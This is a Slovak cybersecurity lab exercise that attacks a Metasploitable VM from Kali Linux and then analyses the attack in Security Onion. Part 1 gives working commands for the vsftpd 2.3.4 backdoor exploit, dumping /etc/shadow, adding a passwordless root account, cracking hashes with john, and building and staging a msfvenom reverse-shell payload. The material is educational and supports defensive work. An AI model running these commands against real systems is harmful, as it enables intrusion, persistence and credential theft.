← Prehľad cvičení · Predchádzajúce cvičenie · Nasledujúce cvičenie
Preskúmať kompromitáciu zariadenia a vyhľadať jej stopy v logoch a zachytenej prevádzke.
Alternatívna topológia pre Cisco
V tomto cvičení využijeme zraniteľnosť nájdenú v cvičení 9 na zariadení metasploitable. Pomocou zraniteľnosti, ktorú využijete sa dostanete z Kali-Linux na Metasploitable zariadenie vytvoríte backdoor pomocou pridania nového účtu a stiahnete si /etc/shadow. Taktiež si vytvoríte malware na zariadení Kali Linux, ktorý potom nahráte do webového adresára na zariadení Metasploitable. V ďalšej časti cvičenia si na zariadení Security Onion prezrieme logy pomocou nástrojov Sguil, Wireshark, Kibana a zistíme, aké kroky vykonal útočník k získaniu súboru. Napokon v poslednej časti cvičenia si stiahnete malware, na zariadenie Kali a budete analyzovať s ním spojené vygenerované hlásenia v Sguil-e, a tiež extrahovať samotný malware na zariadení Security Onion z pcap súboru.
Toto laboratórne cvičenie vzniklo na základe tohto oficiálneho Netacad labu a jeho doplnením o reálne generovanie útokov a analýzu reálnych dát, a nie demo údajov:
Názov |
Meno |
Heslo |
Kali Linux * |
<kali user> |
<kali password> |
Metasploitable |
msfadmin |
msfadmin |
SecurityOnion-Realtime * |
<securityonion user> |
<securityonion password> |
SecurityOnion-Cyberops |
analyst |
cyberops |
OpenWRT |
root |
|
OpenvSwitch |
root |
|
GVM |
admin |
admin |
Cisco 2691 |
(bez mena) |
(bez hesla) |
* - zariadenie má používateľa a heslo ktorého vytvoril študent počas cvičenia 1 v časti Zmena username
V časti 2 budete vykonávať analýzu útoku, ktorý zrealizujete v časti 1, preto je potrebné, aby ste si na zariadení SecurityOnion-Realtime zapli nástroj Sguil pre monitorovacie rozhranie seconion-eth0, seconion-ossec (select ALL)**
**
V predchádzajúcom cvičení sme zistili, že zariadenie Metasploitable obsahuje zraniteľnosť vsFTPd version 2.3.4 backdoor. V tomto cvičení využijeme túto zraniteľnosť pomocou nástroja metasploit framework. Zaznamenávajte si všetky výstupy pre kontrolu správnosti riešenia.
Nastavenie nástroja metasploit framework na využitie zraniteľnosti
Otvorte si terminál v Kali Linux a požite príkaz pre spustenie metasploit framework:
msfconsole
Použite príkaz na hľadanie modulu, ktorý je priradený pre zraniteľnosť vsFTPd
search vsftpd
Na využívanie modulov z databázy sa používa príkaz: use <cesta_k_modulu>
Spustite daný modul pre zraniteľnosť vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
Následne nastavíte cieľového hostiteľa v našom prípade Metasploitable IP adresu. To docielite pomocou príkazu:
set rhosts <IP adresa Metasploitable>
Následne, keď máte nastaveného hostiteľa použijete príkaz exploit pre využitie zraniteľnosti
exploit
Výsledok príkazu exploit (zariadenie Metasploitable musí byť zapnuté a používateľ msfadmin musí byť prihlásený):
Pomocou príkazu exploit vstúpite do terminálu zariadenia Metasploitable
Použite príkazy:
who -u zobrazia sa vám používatelia prihlásení do systému
whoami zobrazí sa vám pod akým používateľom ste prihlásený
hostname zobrazí sa vám názov zariadenia, ktorý je daný zariadeniu
ifconfig zobrazia sa vám informácie o rozhraniach zariadenia
Získanie úplnej kontroly nad zariadením Metasploitable
Ako prvé si zobrazte súbor /etc/shadow
cat /etc/shadow
Skopírujte si text a vložte ho do súboru /home/kali/Documents/shadowMetasploitable.txt
Pozn.: miesto kali zvoľte vášho používateľa
Ako ďalší príkaz v termináli Kali Linux-u použite:
cat /home/kali/Documents/shadowMetasploitable.txt | grep root
Dvojbodky ( delia riadok na 7 polí:
root: je prihlasovacie meno
$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. : je zašifrované heslo
Ďalších 6 polí definuje konfiguráciu hesla, napríklad dátum poslednej zmeny, minimálny a maximálny vek hesla a dátum vypršania platnosti hesla. Posledné pole je vyhradené pre budúce použitie
Následne sa vrátime do získaného session pre zariadenie Metasploitable a vložíme nového používateľa bez hesla do /etc/shadow
Pre pridanie používateľa použijeme príkaz:
echo "myroot::14747:0:99999:7:::" >> /etc/shadow
Následne overíme či sa nám používateľa podarilo pridať
cat /etc/shadow | grep myroot
Ďalej pridáme myroot používateľa do súboru /etc/password
echo "myroot:x:0:0:root:/root:/bin/bash" >> /etc/passwd
Overíme či sa úspešne pridal do súboru
cat /etc/passwd | grep myroot
Následne náš používateľ myroot ma úplnú kontrolu nad zariadením Metasploitable
Overte či sa vám dá prihlásiť do zariadenia Metasploitable pomocou používateľa myroot, v Kali Linux termináli vykonajte príkazy:
telnet <IP adresa Metasploitable>
Pozn.: Miesto <IP adresa Metasploitable> vložte Ip adresu zariadenia Metasploitable
Použite nástroj john na odšifrovanie hesiel, ktoré ste si uložili do súboru /home/kali/Documents/shadowMetasploitable.txt
Spustite nastroj john a odšifrujte heslá zo súboru /home/kali/Documents/shadowMetasploitable.txt
john /home/kali/Documents/shadowMetasploitable.txt
Pozn.: miesto kali vložte vášho používateľa
Vytvorte a nahrajte malware na Metasploitable
V termináli Kali Linux vytvorte reverse shell malware pomocou metasploit framework
Vytvor Windows malware, ktorý by sa po spustení pripojil na IP adresu a port útočníka. V našom prípade bude útočník na zariadení Kali Linux
Nasledujúci príkaz vytvorí malware s názvom game.exe a uloží ho do aktuálneho adresára v ktorom sa nachádzate
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP adresa Metasploitable> LPORT=8080 -f exe -o ./game.exe
Pozn.: Miesto <IP adresa Metasploitable> vložte Ip adresu zariadenia Metasploitable
Spustite python server na Kali Linux v adresári, v ktorom sa nachádza aj váš vytvorený malware
python -m http.server
Z terminálu Kali Linux sa dostaňte do Metasploitable, buď pomocou exploitu, ktorý ste už predtým použili v tomto cvičení, alebo pomocou novo vytvoreného používateľa myroot
Po úspešnom pripojení na zariadenie Metasploitable, prejdite do adresára /var/www
Pomocou príkazu nižšie stiahnite váš malware do aktuálneho adresára, v ktorom sa nachádzate
wget <IP adresa Kali>:8000/game.exe
Pozn.: Miesto <IP adresa Kali> vložte Ip adresu zariadenia Kali
Teraz prezrite logy z pohľadu SOC analytika pre určenie, ako bol súbor kompromitovaný.
Prezrite alerts v nástroji Sguil
Vstúpte do SecurityOnion-Realtime
Prihláste sa do zariadenia
Otvorte Sguil a prihláste sa
Kliknite „Select ALL“ a potom „Start SGUIL“
Prezrite si udalosti v stĺpci „Event Message“
Jeden z týchto je „GPL ATTACK_RESPONSE id check returned root“
Táto správa indikuje, že prístup na „root“ mohol byť získaný počas útoku
Vyberte „Show Packet Data“ a „Show Rule“ checkbox pre zobrazenie alertu s detailnými informáciami
V príklade nižšie sú použité „Alert ID 3.220“ a korelovaná udalosť, vaše „Alert ID“ bude však pravdepodobne rozdielne číslo
Kliknite pravým tlačidlom myši na číslo pod nadpisom „CNT“ a vyberte „View Correlated Events“
V novej karte, kliknite pravým „Alert ID“ (na číslo pod nadpisom) pre jeden z „GPL ATTACK_RESPONSE id check returned root“ alerts a vyberte „Transcript“
Ako príklad je použitý Alert ID 3.8707
Prezrite transkripty pre všetky alerty
Posledný alert v okne pravdepodobne zobrazuje transakciu medzi Kali (útočníkom) a Metasploitable (obeťou) počas útoku
Vysvetlite, čo sa stalo počas útoku ?
Prejdite do programu Wireshark
Vyberte alert, ktorý Vám poskytne transkript z predchádzajúceho kroku
Hlavné okno Wireshark zobrazuje 3 zobrazenia paketu
Pre zobrazenie všetkých paketov v TCP konverzácii, kliknite pravým na ktorýkoľvek paket a vyberte „Follow“ > „TCP Stream“
Popíšte čo je možné pozorovať, vzhľadom na červený a modrý text.
Zavrite „Wireshark“ keď skončíte s prezeraním informácií
Prezrite alert v Kibane
Ak vám sguil nezachytil alert „GPL ATTACK_RESPONSE id check returned root“, tak je tento alert možné nájsť v Kibane. Aj v prípade, že vám ho sguil zachytil, zrealizujte aj túto analýzu v inom nástroji - Kibana.
Otvorte si Kibanu a prihláste sa prihlasovacími údajmi ktoré ste si zadali pri sosetupe
Prekliknite sa do kategórie NIDS, nájdite alert „GPL ATTACK_RESPONSE id check returned root“ a odpovedzte na otázky
Do akej kategórie patrí alert?
Do akej klasifikácie patrí alert?
Aká je zdrojová a cieľová IP adresa?
Aký je zdrojový a cieľový port?
Aké ďalšie informácie môžete o alerte z Kibany vyčítať?
V nasledujúcej časti si budete sťahovať na zariadenie Kali škodlivý súbor, ktorý ste nahrali na server Metasploitable v 1. časti. Následne budete pracovať na zariadení Security Onion, kde sa pozriete na hlásenia v Sguil-e, ktoré boli vygenerované v dôsledku sťahovania škodlivého súboru, a urobíte ich analýzu. Ďalej budete pracovať s nástrojom Wireshark na zariadení Security Onion, kde budete analyzovať a extrahovať samotný malware z pcap súboru.
Príprava
Na Security Onion treba zapnuť Sguil aby sme v ňom neskôr mohli analyzovať hlásenia
Na Security Onion zapnite tcpdump na rozhraní eth0 (preskúmajte použité prepínače pre tcpdump):
sudo tcpdump -i eth0 -w malware.download.pcap
Prejdite na zariadenie Kali a stiahnite si malware
http://<IP adresa metasploitable>/game.exeNásledne prejdite späť na Security Onion a vypnite tcpdump, ktorý vám beží v termináli, pomocou kláves ctrl+c.
Sguil – Analýza
V súvislosti so sťahovaním súboru vykonanom v 1. bode, vám boli vygenerované tri alerty v nástroji Sguil, ktoré detekovali stiahnutie škodlivého súboru
Pozn.: pri topológii so smerovačom Cisco C2691 (+ switch modul) sa tieto alerty nezobrazia, preto pokračujte krokom 3.
O aké hlásenia ide?
Prezrite jednotlivé pravidlá, na základe ktorých boli tieto hlásenia vygenerované.
Čo dokážete zistiť z vygenerovaných hlásení?
Analýza pcap súboru
Otvorte malware.download.pcap cez terminál
wireshark malware.download.pcap
Súbor malware.download.pcap obsahuje zachytenie paketov súvisiace so sťahovaním škodlivého softvéru. Pcap obsahuje všetky pakety odoslané a prijaté počas behu tcpdump
Vyberte paket s požiadavkou GET na /game.exe v odchytenej prevádzke, a rozbaľte si http protokol na zobrazenie
Tri pakety nad našim vybratým predstavujú TCP handshake. Vybratý paket zobrazuje požiadavku na súbor škodlivého softvéru.
Pretože HTTP beží cez TCP, je možné použiť funkciu Sledovať TCP Stream na preskúmanie transakcií cez TCP. Vyberte prvý z troch TCP paketov - SYN paket,a kliknite naň pravým tlačidlom myši a vyberte Follow > TCP Stream
Wireshark zobrazí ďalšie okno s podrobnosťami o celom zvolenom toku TCP
Čo predstavujú tie symboly zobrazené v okne Follow TCP Stream? Prečo obsah súboru nie je čitateľný?
Medzi symbolmi je však predsa niekoľko čitateľných slov/fragmentov. Prečo sú tam?
Kliknutím na tlačidlo Close v okne Follow TCP Stream sa vrátite do Wireshark súboru malware.download.pcap
Extrahujte stiahnutý súbor z PCAP
Pretože zachytené súbory obsahujú všetky pakety súvisiace s prevádzkou, PCAP súbor zo sťahovania možno použiť na získanie predtým stiahnutého súboru. Ak chcete použiť Wireshark na extrahovanie súboru - škodlivého softvéru, postupujte podľa nasledujúcich krokov
V pakete s GET požiadavkou na škodlivý súbor v malware.download.pcap si všimnite, že požiadavka HTTP GET bola vygenerovaná z adresy Kali na adresu Metasploitable
S vybratým paketom požiadavky GET prejdite v hlavnom menu Wireshark na File > Export Objects > HTTP
Wireshark zobrazí všetky objekty HTTP prítomné v TCP toku, ktorý obsahuje požiadavku GET. V tomto prípade je v zázname prítomný iba súbor game.exe. Zobrazenie súboru potrvá niekoľko sekúnd
V okne HTTP object list vyberte súbor game.exe a kliknite na Save v spodnej časti obrazovky
Miesto uloženia vyberte adresár /home/<používateľ> a názov súboru môžete nastaviť na malware.exe
Pozn.: miesto <používateľ> vložte názov používateľa pre zariadenie Kali
Vráťte sa do okna terminálu a skontrolujte, či bol súbor uložený. Zmeňte adresár na priečinok /home/<používateľ> a pomocou príkazu ls -l vypíšte súbory v priečinku
Príkaz file poskytuje informácie o type súboru. Pomocou príkazu file sa dozviete niečo viac o škodlivom súbore
Ako je uvedené vyššie, skutočne sa jedná o spustiteľný súbor OS Windows
Aký by bol pravdepodobný ďalší krok v procese analýzy škodlivého softvéru pre bezpečnostného analytika?
VirusTotal
Daný extrahovaný súbor nahrajte na stránku VirusTotal zo zariadenia Security Onion
V ľavom hornom rohu kliknite na Applications > Internet > Chromium Web Browser
Prejdite na stránku: VirusTotal
Nahrajte tam extrahovaný súbor a počkajte si na výsledky
Čo ste sa o súbore dozvedeli a aké výsledky ste obdržali? Je súbor naozaj škodlivý?
V tomto cvičení sme si ukázali ako získať kontrolu nad zariadením cez metódu backdoor s využitím nástroja Metasploit a následne sme analyzovali tento útok pomocou nástrojov zariadenia SecurityOnion. Na záver sme vytvorili malvér ktorý sme nahrali na web server na zariadení Metasploitable a spustili sme malvér ako simuláciu bežného používateľa webu a pomocou SecurityOnion sme analyzovali sieťovú prevádzku a hlasenia spojené s otvorením malvéru.
Backdoor je metóda, ktorá slúži pre autorizované alebo neautorizované obídenie bezpečnostných opatrení za účelom získania privilegovaného prístupu (root).
Malvér môže byť aj súbor zdieľaný pomocou stránky používanej na dennej báze, ktorá sa zdá byť na prvý pohľad bezpečná
Ako sa vyhnúť backdoor zraniteľnostiam?
Ako sa môže brániť bežný používateľ pred malvérom?
← Prehľad cvičení · Predchádzajúce cvičenie · Nasledujúce cvičenie